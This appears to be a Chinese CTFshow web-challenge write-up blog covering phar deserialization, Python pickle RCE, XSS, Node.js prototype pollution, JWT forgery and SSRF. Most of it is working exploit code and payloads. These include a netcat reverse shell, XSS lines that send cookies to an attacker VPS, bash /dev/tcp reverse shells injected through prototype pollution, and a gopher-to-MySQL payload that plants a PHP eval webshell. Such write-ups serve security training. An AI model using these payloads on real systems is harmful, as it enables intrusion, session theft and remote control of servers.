1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php class filter { public $filename ="1.txt;tac f*;" ; public $filecontent ; public $evilfile =true ; public $admin = true ; }$a =new filter ();$phar = new Phar ("phar.phar" ); $phar ->startBuffering ();$phar ->setStub ("<?php __HALT_COMPILER(); ?>" ); $phar ->setMetadata ($a ); $phar ->addFromString ("test.txt" , "test" ); $phar ->stopBuffering ();?>
但会删除上传的临时文件
1 2 3 4 5 6 7 if ($f ->checkevil()===false ){ file_put_contents($_GET ['fn' ], $content ); copy($_GET ['fn' ],md5(mt_rand()).'.txt' ); unlink ($_SERVER ['DOCUMENT_ROOT' ].'/' .$_GET ['fn' ]); echo 'work done' ; }
所以可以用条件竞争
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import requestsimport threading url="http://66155619-f7c6-4fb4-acf1-d196be37cdb8.chall.ctf.show:8080/" f=open ("./phar.phar" ,"rb" ) content=f.read()def upload (): requests.post(url=url+"?fn=1.phar" ,data=content)def read (): r = requests.post(url=url+"?fn=phar://1.phar/" ,data="1" ) if "ctfshow{" in r.text or "flag{" in r.text: print (r.text) exit()while 1 : t1=threading.Thread(target=upload) t2=threading.Thread(target=read) t1.start() t2.start()
web277 python反序列化漏洞 [一篇文章带你理解漏洞之 Python 反序列化漏洞 | K0rz3n’s Blog](https://www.k0rz3n.com/2018/11/12/一篇文章带你理解漏洞之Python 反序列化漏洞/)
注释
反弹shell,执行命令就好了
1 2 3 4 5 6 7 8 9 10 11 import pickleimport base64import osclass RCE : def __reduce__ (self ): return os.popen, ("nc xxx.xxx.xxx.xxx 7777 -e /bin/sh" ,)print (base64.b64encode(pickle.dumps(RCE())))
web278 禁用了 os.system
但不影响 os.popen
,继续用上面的脚本就行了
Xss web316 题目的bot是每隔一段时间自动点击的,使用可以用xss拿cookie,flag应该就在cookie
直接简单的反射获取cookie就行了,这里用自己搭的BlueLotus xss平台
1 <script src ="http://vps/xss/myjs/cookie.js" > </script >
web317 过滤了<script
1 <body onload =location.href ="http://vps/xss/?cookie=" +document.cookie >
web318 过滤了img
,同上
1 <body onload =location.href ="http://8.130.35.148/xss/?cookie=" +document.cookie >
web319 同上
其他的不做了。。。
Nodejs 资料:Node.js 常见漏洞学习与总结 - 先知社区 (aliyun.com)
web334 user.js
1 2 3 4 5 module .exports = { items : [ {username : 'CTFSHOW' , password : '123456' } ] };
login.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 var express = require ('express' );var router = express.Router ();var users = require ('../modules/user' ).items ; var findUser = function (name, password ){ return users.find (function (item ){ return name!=='CTFSHOW' && item.username === name.toUpperCase () && item.password === password; }); }; router.post ('/' , function (req, res, next ) { res.type ('html' ); var flag='flag_here' ; var sess = req.session ; var user = findUser (req.body .username , req.body .password ); if (user){ req.session .regenerate (function (err ) { if (err){ return res.json ({ret_code : 2 , ret_msg : '登录失败' }); } req.session .loginUser = user.username ; res.json ({ret_code : 0 , ret_msg : '登录成功' ,ret_flag :flag}); }); }else { res.json ({ret_code : 1 , ret_msg : '账号或密码错误' }); } });module .exports = router;
1 2 toUpperCase () 是javascript中将小写转换成大写的函数。toLowerCase () 是javascript中将大写转换成小写的函数
正常情况下需要我们传入用户CTFSHOW才行,但是后端不通过,改用小写就可以了
web335 查看源代码提示
估计就是个eval() 函数让我们来执行 ,eval() 函数可计算某个字符串,并执行其中的的 JavaScript 代码。
Node.js中的chile_process.exec调用的是/bash.sh,它是一个bash解释器,可以执行系统命令。在eval函数的参数中可以构造require('child_process').exec('');
来进行调用。记得接上.toString(),来输出
有个问题是exec执行输出的是[object Object]
1 2 /?eval=require('child_process').execSync('ls ') .to String() /?eval=require('child_process').execSync('cat fl00g .txt ') .to String()
其他payload
1 2 require ('child_process' ) .spawnSync ('ls' ,['./' ] ).stdout .toString () global.process .mainModule .constructor ._load ('child_process' ).execSync ('ls' ,['.' ] ).toString ()
类似命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 间隔两秒执行函数:setInteval (some_function, 2000 ) 两秒后执行函数:setTimeout (some_function, 2000 ); some_function处就类似于eval函数的参数 输出HelloWorld:Function ("console.log('HelloWolrd')")() 类似于php中的create_function
web336 上一题的payload用不了
1 2 __filename 表示当前正在执行的脚本的文件名。它将输出文件所在位置的绝对路径,且和命令行参数所指定的文件名不一定相同。 如果在模块中,返回的值是模块文件的路径。__dirname 表示当前执行脚本所在的目录。
1 2 3 /?eval =__filename /?eval =require ('fs' ).readFileSync ('/app/routes/index.js' ,'utf-8' ) /?eval =require ('child_process' )['exe' +'cSync' ]('ls' ).toString ()
或者
1 require ('child_process' ) .spawnSync ('ls' ,['./' ] ).stdout .toString ()
web337 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 var express = require ('express' );var router = express.Router ();var crypto = require ('crypto' );function md5 (s ) { return crypto.createHash ('md5' ) .update (s) .digest ('hex' ); } router.get ('/' , function (req, res, next ) { res.type ('html' ); var flag='xxxxxxx' ; var a = req.query .a ; var b = req.query .b ; if (a && b && a.length ===b.length && a!==b && md5 (a+flag)===md5 (b+flag)){ res.end (flag); }else { res.render ('index' ,{ msg : 'tql' }); } });module .exports = router;
这不是数组绕过吗
键名不能为空,也就是/?a[]=1&b[]=2不行
web338 原型链污染,关于原型链污染前面的资料都解释得很清楚了:Node.js 常见漏洞学习与总结 - 先知社区 (aliyun.com)
深入理解 JavaScript Prototype 污染攻击 | 离别歌 (leavesongs.com)
题目直接给了源码给审计,当在当前上下文找不到相应对象时,会遍历上一级对象是否存在相应的属性。
关键代码在/routes/login.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 var express = require ('express' );var router = express.Router ();var utils = require ('../utils/common' ); router.post ('/' , require ('body-parser' ).json (),function (req, res, next ) { res.type ('html' ); var flag='flag_here' ; var secert = {}; var sess = req.session ; let user = {}; utils.copy (user,req.body ); if (secert.ctfshow ==='36dboy' ){ res.end (flag); }else { return res.json ({ret_code : 2 , ret_msg : '登录失败' +JSON .stringify (user)}); } });module .exports = router;
utils.copy(user,req.body);
这里得copy可以类比之前文章提到的merge
函数
utils.copy会将请求体中的数据复制到一个名为“user”的对象中,同时user和secert一样都是数组
那么就可以通过 req.body
即 POST 请求体传入参数,通过 user
来污染secert数组的原型,从而满足判断
1 { "__proto__" : { "ctfshow" : "36dboy" } }
web339 看起来有点吃力了,先去多看点文章学一学
所有变量的最顶层都是object
当在当前上下文找不到相应对象时,会遍历 Object
对象是否存在相应的属性。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 var express = require ('express' );var router = express.Router ();var utils = require ('../utils/common' );function User ( ){ this .username ='' ; this .password ='' ; }function normalUser ( ){ this .user } router.post ('/' , require ('body-parser' ).json (),function (req, res, next ) { res.type ('html' ); var flag='flag_here' ; var secert = {}; var sess = req.session ; let user = {}; utils.copy (user,req.body ); if (secert.ctfshow ===flag){ res.end (flag); }else { return res.json ({ret_code : 2 , ret_msg : '登录失败' +JSON .stringify (user)}); } });module .exports = router;
由于flag的值并没有办法知道,所以用上一题的方法肯定是不行的,但是在api.js中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 var express = require ('express' );var router = express.Router ();var utils = require ('../utils/common' ); router.post ('/' , require ('body-parser' ).json (),function (req, res, next ) { res.type ('html' ); res.render ('api' , { query : Function (query)(query)}); });module .exports = router;
可以发现 res.render(‘api’, { query: Function(query)(query)});的Function可以用来执行代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 var express = require ('express' );var router = express.Router ();var utils = require ('../utils/common' ); router.post ('/' , require ('body-parser' ).json (),function (req, res, next ) { res.type ('html' ); res.render ('api' , { query : Function (query)(query)}); });module .exports = router;
通过污染Function的 query
对象,就可以执行代码
在cope那里进行污染反弹shell
1 {"__proto__" : {"query" : "return global.process.mainModule.constructor._load('child_process' ).exec('bash -c \"bash -i >& /dev/tcp/xxx.xx.xxx.xxx/xxxxx 0>&1\"' )"}}
在login污染后,记得POST访问一下/api路径触发Function
web340 和上一题差不多
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 var express = require ('express' );var router = express.Router ();var utils = require ('../utils/common' ); router.post ('/' , require ('body-parser' ).json (),function (req, res, next ) { res.type ('html' ); var flag='flag_here' ; var user = new function ( ){ this .userinfo = new function ( ){ this .isVIP = false ; this .isAdmin = false ; this .isAuthor = false ; }; } utils.copy (user.userinfo ,req.body ); if (user.userinfo .isAdmin ){ res.end (flag); }else { return res.json ({ret_code : 2 , ret_msg : '登录失败' }); } });module .exports = router;
区别在于userinfo
的原型不是 Object
对象, userinfo.__proto__.__proto__
才是 Object
对象
多套个__proto__
就好了
1 {"__proto__" : {"__proto__" : {"query" : "return global.process.mainModule.constructor._load('child_process' ).exec('bash -c \"bash -i >& /dev/tcp/xxx.xx.xxx.xxx/xxxxx 0>&1\"' )"}}}
web341 这道题套用了ejs引擎,详细看Express+lodash+ejs: 从原型链污染到RCE - evi0s’ Blog
网上找个paylaod直接用就好了,但记得套两次__proto__
1 {"__proto__" : {"__proto__" : {"outputFunctionName" : "_tmp1;global.process.mainModule.require('child_process' ).exec('bash -c \"bash -i >& /dev/tcp/xxx.xx.xxx.xxx/xxxxx 0>&1\"' );var __tmp2"}}}
web342、web343 等以后再回来补上吧
debug分析过程ctfshow nodejs篇 | tari’s Blog
web344 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 router.get ('/' , function (req, res, next ) { res.type ('html' ); var flag = 'flag_here' ; if (req.url .match (/8c|2c|\,/ig )){ res.end ('where is flag :)' ); } var query = JSON .parse (req.query .query ); if (query.name ==='admin' &&query.password ==='ctfshow' &&query.isVIP ===true ){ res.end (flag); }else { res.end ('where is flag. :)' ); } });
过滤了 8c
、2c
和 逗号
,nodejs 会把同名参数以数组的形式存储,并且 JSON.parse
可以正常解析。
所以
1 /?q uery={"name" :"admin" &query="password" :"%63tfshow" &query="isVIP" :true }
c要url编码成%63
,就是因为前面的%22
,会造成%22c
,所以需要url编码。
JWT JWT(json web token),令牌以紧凑的形式由三部分(Header、Payload、Signature)组成,这些部分由点(.)分隔
eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.W3siaXNzIjoiYWRtaW4iLCJpYXQiOjE2OTg5Nzk5OTIsImV4cCI6MTY5ODk4NzE5MiwibmJmIjoxNjk4OTc5OTkyLCJzdWIiOiJ1c2VyIiwianRpIjoiMDdhNjM0MzkxNDg0YTliNjRiODZiNTlmYWEyMTA5ODcifV0
header示例:
1 2 3 4 5 6 7 8 9 10 11 { 'typ' : 'JWT' , 'alg' : 'HS256' } typ:声明类型 alg:声明加密的算法 通常直接使用 HMAC SHA256 需要注意的是因为header部分是固定的所以,生成的base64 也是固定的以eyJh开头的 payload示例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 { "sub" : "1234567890" , "name" : "John Doe" } 标准中注册的声明 (建议但不强制使用) # iss: jwt签发者 # sub: jwt所面向的用户 # aud: 接收jwt的一方 # exp: jwt的过期时间,这个过期时间必须要大于签发时间 # nbf: 定义在什么时间之前,该jwt都是不可用的 # iat: jwt的签发时间 # jti: jwt的唯一身份标识,主要用来作为一次性token,从而回避重放攻击
signature
是一个签证信息,这个签证信息由三部分组成
1 2 3 header (base64 后的) payload (base64 后的) secret
web345 考点:None 无签名认证
可以用https://jwt.io/ 解密,或者直接base64分别看就好了
cookie
1 eyJhbGciOiJOb25 lIiwidHlwIjoiand0 In0 .W3 siaXNzIjoiYWRtaW4 iLCJpYXQiOjE2 OTg5 Nzk5 OTIsImV4 cCI6 MTY5 ODk4 NzE5 MiwibmJmIjoxNjk4 OTc5 OTkyLCJzdWIiOiJ1 c2 VyIiwianRpIjoiMDdhNjM0 MzkxNDg0 YTliNjRiODZiNTlmYWEyMTA5 ODcifV0
发现不存在第三部分的签证,也就不需要知道密钥。
提示:
1 {"alg":"None" ,"typ" :"jwt" }?[{"iss" :"admin" ,"iat" :1698979992,"exp" :1698987192,"nbf" :1698979992,"sub" :"user" ,"jti" :"07a634391484a9b64b86b59faa210987" }]
将sub值改为admin
1 eyJhbGciOiJOb25 lIiwidHlwIjoiand0 In0 /W3 siaXNzIjoiYWRtaW4 iLCJpYXQiOjE2 OTg5 Nzk5 OTIsImV4 cCI6 MTY5 ODk4 NzE5 MiwibmJmIjoxNjk4 OTc5 OTkyLCJzdWIiOiJhZG1 pbiIsImp0 aSI6 IjA3 YTYzNDM5 MTQ4 NGE5 YjY0 Yjg2 YjU5 ZmFhMjEwOTg3 In1 d
此时再访问/admin/就行了
访问/admin表示访问admin.php而访问/admin/表示访问的是admin目录下默认的index.php
web346 考点:None算法绕过签名
1 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 .eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY5ODk4MTIxOSwiZXhwIjoxNjk4OTg4NDE5LCJuYmYiOjE2OTg5ODEyMTksInN1YiI6InVzZXIiLCJqdGkiOiJlYzRiY2Y0NmU5YzNkZWQ0Mzk1Mjg1ZWE0M2IxNDljZiJ9.eHo7TNe6_NUkt-4 UnHzXixx8YCgqkxKfU4DNJ1rKfAA
不过这个JWT 支持将算法设定为 None
。如果alg
字段设为None
,那么签名会被置空,这样任何 token 都是有效的
1 eyJhbGciOiJub25 lIiwidHlwIjoiSldUIn0 .eyJpc3 MiOiJhZG1 pbiIsImlhdCI6 MTY5 ODk4 MTIxOSwiZXhwIjoxNjk4 OTg4 NDE5 LCJuYmYiOjE2 OTg5 ODEyMTksInN1 YiI6 ImFkbWluIiwianRpIjoiZWM0 YmNmNDZlOWMzZGVkNDM5 NTI4 NWVhNDNiMTQ5 Y2 YifQ.
web347 考点:弱口令密钥
c-jwt-cracker爆破一下
1 ./jwtcrack eyJhbGciOiJIUzI1 NiIsInR5 cCI6 IkpXVCJ9 .eyJpc3 MiOiJhZG1 pbiIsImlhdCI6 MTY5 ODk4 MTk2 MiwiZXhwIjoxNjk4 OTg5 MTYyLCJuYmYiOjE2 OTg5 ODE5 NjIsInN1 YiI6 InVzZXIiLCJqdGkiOiJjNWU4 ZjMxMjc1 ZmFiMDM5 ZmEzZWZjNzY2 Zjk0 ZDljZCJ9.7 Cv77 nix8 GeX5 zO9 J5 qlPd_vdObDmQPRuDjXgwGgEPQ
爆破出密钥为 123456 (6位数爆得好慢)
1 2 3 4 5 6 7 8 9 10 11 import jwt payload = { "iss" : "admin" , "iat" : 1698981219 , "exp" : 1698988419 , "nbf" : 1698981219 , "sub" : "admin" , "jti" : "ec4bcf46e9c3ded4395285ea43b149cf" } secret = '123456' print (jwt.encode(payload, secret, algorithm='HS256' ))
生成jwt字符串,再访问/admin/
1 eyJ0 eXAiOiJKV1 QiLCJhbGciOiJIUzI1 NiJ9 .eyJpc3 MiOiJhZG1 pbiIsImlhdCI6 MTY5 ODk4 MTIxOSwiZXhwIjoxNjk4 OTg4 NDE5 LCJuYmYiOjE2 OTg5 ODEyMTksInN1 YiI6 ImFkbWluIiwianRpIjoiZWM0 YmNmNDZlOWMzZGVkNDM5 NTI4 NWVhNDNiMTQ5 Y2 YifQ.UwlWIwmcagKevH8 TUSuF76 ilSj9 wGo9 fFnhCev6 BNP0
web348 考点:密钥爆破
1 eyJhbGciOiJIUzI1 NiIsInR5 cCI6 IkpXVCJ9 .eyJpc3 MiOiJhZG1 pbiIsImlhdCI6 MTY5 ODk4 NzM0 MSwiZXhwIjoxNjk4 OTk0 NTQxLCJuYmYiOjE2 OTg5 ODczNDEsInN1 YiI6 InVzZXIiLCJqdGkiOiI1 OWViZmI1 NWQzODMxZTMyZGMzOGFkNDM2 YzFiOTJiMyJ9.5 ev3 A8 m5 tUTNLb0 af5 A68 inhW3 wTUOIYat__sE2 QNeE
aaab
4位数几乎一会儿就出
1 2 3 4 5 6 7 8 9 10 11 import jwt payload = { "iss" : "admin" , "iat" : 1698987341, "exp" : 1698994541, "nbf" : 1698987341, "sub" : "admin" , "jti" : "59ebfb55d3831e32dc38ad436c1b92b3" }secret = 'aaab' print (jwt.encode(payload, secret, algorithm ='HS256' ))
1 eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY5ODk4NzM0MSwiZXhwIjoxNjk4OTk0NTQxLCJuYmYiOjE2OTg5ODczNDEsInN1YiI6ImFkbWluIiwianRpIjoiNTllYmZiNTVkMzgzMWUzMmRjMzhhZDQzNmMxYjkyYjMifQ .UOIhXaACh2F4dwovF-YhZBvYYNb3VOinBxFugTuKyEc
web349 考点:公钥私钥泄露
它给的附件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 router.get ('/' , function (req, res, next ) { res.type ('html' ); var privateKey = fs.readFileSync (process.cwd ()+'//public//private.key' ); var token = jwt.sign ({ user : 'user' }, privateKey, { algorithm : 'RS256' }); res.cookie ('auth' ,token); res.end ('where is flag?' ); }); router.post ('/' ,function (req,res,next ){ var flag="flag_here" ; res.type ('html' ); var auth = req.cookies .auth ; var cert = fs.readFileSync (process.cwd ()+'//public/public.key' ); jwt.verify (auth, cert, function (err, decoded ) { if (decoded.user ==='admin' ){ res.end (flag); }else { res.end ('you are not admin' ); } }); });
在/public/路径下,暴露了公私钥,可以直接下载下来
有两种方法,一是得到私钥和公钥解密加密.二是用私钥自己生成公钥
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import base64import jsonimport jwt jwt_origin = "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidXNlciIsImlhdCI6MTY5ODk4ODYzNX0.qEEx8YT_x3BLqTtYuFKBvEM7U9fcMg1ygiomg0qg1nF6CJcrnhx8YFC4ubYKAkfuK_O_RZeIWURc8asAfmihrwVSRrlnQDzSyXvIPXBu0y0gkDIbnitRCVqAIZbk2u5Fq3e1dHK6cBJBc7EklqusYSn7dPrlFieedf-YBrWEbX0" with open ("private.key" , "rb" ) as f: private_key = f.read()with open ("public.key" , "rb" ) as f: public_key = f.read() alg = json.loads(base64.b64decode(jwt_origin.split("." )[0 ]))["alg" ] payload = jwt.decode(jwt_origin, public_key, algorithms=alg)print ("before: " , payload) payload["user" ] = "admin" print ("after: " , payload) jwt_payload = jwt.encode(payload, private_key, algorithm=alg)print (jwt_payload)
或者
1 2 3 4 import jwt public = open ('private.key' , 'r' ).read() payload={"user" :"admin" }print (jwt.encode(payload, key=public, algorithm='RS256' ))
1 eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9 .eyJ1c2VyIjoiYWRtaW4iLCJpYXQiOjE2OTg5ODg2MzV9.JsnUxBAGJJTqIatSR5qnktSHiSuYV0v67TpyYZ-3 RePvxG_bwRJFEVBitUc3ggyHXS1g6dKnpz4rA0xorkIjhAdN6ZVb43fe8YgLEDUU0ttceNcUDh5WSk5nRPtEuCFthi-T1bfbDvYWlpM07cVdoEz5lXAQeVYwP6oW3iW4vhI
这次是用post访问原始目录就行了
web350 考点:密钥混淆攻击 RS256=>HS256
给我们源码了,但是只有公钥没有私钥
JWT签名算法中,一般有两个选择,一个采用HS256,另外一个就是采用RS256。 签名实际上是一个加密的过程,生成一段标识(也是JWT的一部分)作为接收方验证信息是否被篡改的依据。
RS256 (采用SHA-256 的 RSA 签名) 是一种非对称算法, 它使用公共/私钥对: 标识提供方采用私钥生成签名, JWT 的使用方获取公钥以验证签名。由于公钥 (与私钥相比) 不需要保护, 因此大多数标识提供方使其易于使用方获取和使用 (通常通过一个元数据URL)。 另一方面, HS256 (带有 SHA-256 的 HMAC 是一种对称算法, 双方之间仅共享一个 密钥。由于使用相同的密钥生成签名和验证签名, 因此必须注意确保密钥不被泄密。
在开发应用的时候启用JWT,使用RS256更加安全,你可以控制谁能使用什么类型的密钥。另外,如果你无法控制客户端,无法做到密钥的完全保密,RS256会是个更佳的选择,JWT的使用方只需要知道公钥。
由于公钥通常可以从元数据URL节点获得,因此可以对客户端进行进行编程以自动检索公钥。如果采用这种方式,从服务器上直接下载公钥信息,可以有效的减少配置信息。
而有时候某些库对签名/验证HMAC对称加密的密钥和包含用于验证RSA签名令牌的公钥的密钥使用相同的变量名。 通过将算法调整为HMAC变体(HS256/HS384/HS512)并使用公共可用公钥对其进行签名,我们可以欺骗服务使用机密变量中的硬编码公钥验证HMAC令牌。
exp:
1 2 3 4 5 const jwt = require ('jsonwebtoken' );var fs = require ('fs' );var privateKey = fs.readFileSync ('public.key' );var token = jwt.sign ({ user : 'admin' }, privateKey, { algorithm : 'HS256' });console .log (token)
1 2 eyJhbGciOiJIUzI1 NiIsInR5 cCI6 IkpXVCJ9 .eyJ1 c2 VyIjoiYWRtaW4 iLCJpYXQiOjE2 OTg5 OTE3 MDh9. r3 s-EecD2 spGgExpdPS9 y4 yx08 LhM8 FQSDLgI8 xbn44
SSRF web351 1 2 3 4 5 6 7 8 9 10 11 <?php error_reporting (0 );highlight_file (__FILE__ );$url =$_POST ['url' ];$ch =curl_init ($url );curl_setopt ($ch , CURLOPT_HEADER, 0 );curl_setopt ($ch , CURLOPT_RETURNTRANSFER, 1 );$result =curl_exec ($ch );curl_close ($ch );echo ($result );?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php $ch = curl_init ();curl_setopt ($ch , CURLOPT_URL, "http://www.runoob.com/" );curl_setopt ($ch , CURLOPT_HEADER, 0 );curl_exec ($ch );curl_close ($ch );?>
post传参伪造本地127.0.0.1
web352 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php error_reporting (0 );highlight_file (__FILE__ );$url =$_POST ['url' ];$x =parse_url ($url );if ($x ['scheme' ]==='http' ||$x ['scheme' ]==='https' ){if (!preg_match ('/localhost|127.0.0/' )){$ch =curl_init ($url );curl_setopt ($ch , CURLOPT_HEADER, 0 );curl_setopt ($ch , CURLOPT_RETURNTRANSFER, 1 );$result =curl_exec ($ch );curl_close ($ch );echo ($result ); }else { die ('hacker' ); } }else { die ('hacker' ); }?>
限制协议http
和https
1 if (!preg_match('/localhost|127.0.0/' ) )
这也没说,对啥匹配这两个呀
1 url=http:// 127.0 .0.1 /flag.php
直接出了,也可以把ip转成int,真正绕过那个检测
1 url=http:// 2130706433 /flag.php
web353 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php error_reporting (0 );highlight_file (__FILE__ );$url =$_POST ['url' ];$x =parse_url ($url );if ($x ['scheme' ]==='http' ||$x ['scheme' ]==='https' ){if (!preg_match ('/localhost|127\.0\.|\。/i' , $url )){$ch =curl_init ($url );curl_setopt ($ch , CURLOPT_HEADER, 0 );curl_setopt ($ch , CURLOPT_RETURNTRANSFER, 1 );$result =curl_exec ($ch );curl_close ($ch );echo ($result ); }else { die ('hacker' ); } }else { die ('hacker' ); }?>
用上题那个就行了
1 url=http:// 2130706433 /flag.php
也可以使用sudo.cc代替127.0.0.1/localhost
1 url=http:// sudo.cc/flag.php
在Linux中0表示自身的地址
web354 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php error_reporting (0 );highlight_file (__FILE__ );$url =$_POST ['url' ];$x =parse_url ($url );if ($x ['scheme' ]==='http' ||$x ['scheme' ]==='https' ){if (!preg_match ('/localhost|1|0|。/i' , $url )){$ch =curl_init ($url );curl_setopt ($ch , CURLOPT_HEADER, 0 );curl_setopt ($ch , CURLOPT_RETURNTRANSFER, 1 );$result =curl_exec ($ch );curl_close ($ch );echo ($result ); }else { die ('hacker' ); } }else { die ('hacker' ); } ?
1 url=http:// sudo.cc/flag.php
也可以通过ip地址解析为127.0.0.1的网站进行绕过
1 2 url=http:// spoofed.burpcollaborator.net/flag.php url=http:// safe.taobao.com/flag.php
改本地域名的A记录到127.0.0.1上,然后访问http://域名/flag.php 即可(也可在自己域名服务器上搭建302跳转)
web355 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php error_reporting (0 );highlight_file (__FILE__ );$url =$_POST ['url' ];$x =parse_url ($url );if ($x ['scheme' ]==='http' ||$x ['scheme' ]==='https' ){$host =$x ['host' ];if ((strlen ($host )<=5 )){$ch =curl_init ($url );curl_setopt ($ch , CURLOPT_HEADER, 0 );curl_setopt ($ch , CURLOPT_RETURNTRANSFER, 1 );$result =curl_exec ($ch );curl_close ($ch );echo ($result ); }else { die ('hacker' ); } }else { die ('hacker' ); }?>
限制长度
1 2 url=http:// 0 /flag.php url=http:// 127.1 /flag.php
web356 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php error_reporting (0 );highlight_file (__FILE__ );$url =$_POST ['url' ];$x =parse_url ($url );if ($x ['scheme' ]==='http' ||$x ['scheme' ]==='https' ){$host =$x ['host' ];if ((strlen ($host )<=3 )){$ch =curl_init ($url );curl_setopt ($ch , CURLOPT_HEADER, 0 );curl_setopt ($ch , CURLOPT_RETURNTRANSFER, 1 );$result =curl_exec ($ch );curl_close ($ch );echo ($result ); }else { die ('hacker' ); } }else { die ('hacker' ); }?>
web357 考点:DNS rebinding(DNS重新绑定攻击)
DNS服务能够在两次DNS查询中返回不同的IP地址,第一次是真正的IP,第二次是攻击目标IP地址 ,甚至可以通过这种攻击方法绕过同源策略。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php error_reporting (0 );highlight_file (__FILE__ );$url =$_POST ['url' ];$x =parse_url ($url );if ($x ['scheme' ]==='http' ||$x ['scheme' ]==='https' ){$ip = gethostbyname ($x ['host' ]);echo '</br>' .$ip .'</br>' ;if (!filter_var ($ip , FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) { die ('ip!' ); }echo file_get_contents ($_POST ['url' ]); }else { die ('scheme' ); }?>
可以利用这个网站:CEYE - Monitor service for security testing
添加127.0.0.1和vps的ip。
1 url=http:// r.xxxxx.ceye.io/flag.php
If your identifier is abcdef.ceye.io
, then your DNS rebinding host is r.abcdef.ceye.io
.
web358 1 2 3 4 5 6 7 8 <?php error_reporting (0 );highlight_file (__FILE__ );$url =$_POST ['url' ];$x =parse_url ($url );if (preg_match ('/^http:\/\/ctf\..*show$/i' ,$url )){ echo file_get_contents ($url ); }
限制了ctf开头,show结尾
1 2 url=http:// ctf.@127.0 .0.1 /flag.php url=http:// ctf.@127.0 .0.1 /flag.php?show
这里的ctf.
想到于用户user
来访问该网站
web359 考点:打内网无密码的mysql
打开是个登陆框,应该不存在注入,抓包看看
一看这个returl
就是利用点
这里用 gopherus 工具利用使用 gopher 协议,生成 payload去打 mysql
1 2 3 4 5 python2 gopherus.py --exploit mysql username:root 写入一句话木马 select " <?php @eval ($_POST ['cmd' ]);?> " into outfile '/var/www/html/2.php';
1 gopher: //127.0 .0.1 :3306 /_%a3 %00 %00 %01 %85 %a6 %ff %01 %00 %00 %00 %01 %21 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %72 %6 f%6 f%74 %00 %00 %6 d%79 %73 %71 %6 c %5 f%6 e%61 %74 %69 %76 %65 %5 f%70 %61 %73 %73 %77 %6 f%72 %64 %00 %66 %03 %5 f%6 f%73 %05 %4 c %69 %6 e%75 %78 %0 c %5 f%63 %6 c %69 %65 %6 e%74 %5 f%6 e%61 %6 d%65 %08 %6 c %69 %62 %6 d%79 %73 %71 %6 c %04 %5 f%70 %69 %64 %05 %32 %37 %32 %35 %35 %0 f%5 f%63 %6 c %69 %65 %6 e%74 %5 f%76 %65 %72 %73 %69 %6 f%6 e%06 %35 %2 e%37 %2 e%32 %32 %09 %5 f%70 %6 c %61 %74 %66 %6 f%72 %6 d%06 %78 %38 %36 %5 f%36 %34 %0 c %70 %72 %6 f%67 %72 %61 %6 d%5 f%6 e%61 %6 d%65 %05 %6 d%79 %73 %71 %6 c %4 b%00 %00 %00 %03 %73 %65 %6 c %65 %63 %74 %20 %22 %3 c %3 f%70 %68 %70 %20 %40 %65 %76 %61 %6 c %28 %24 %5 f%50 %4 f%53 %54 %5 b%27 %63 %6 d%64 %27 %5 d%29 %3 b%3 f%3 e%22 %20 %69 %6 e%74 %6 f%20 %6 f%75 %74 %66 %69 %6 c %65 %20 %27 %2 f%76 %61 %72 %2 f%77 %77 %77 %2 f%68 %74 %6 d%6 c %2 f%32 %2 e%70 %68 %70 %27 %3 b%01 %00 %00 %00 %01
_
字符后面的内容还要 URL编码一次,因为 PHP接收到POST或GET请求数据,会自动进行一次URL解码
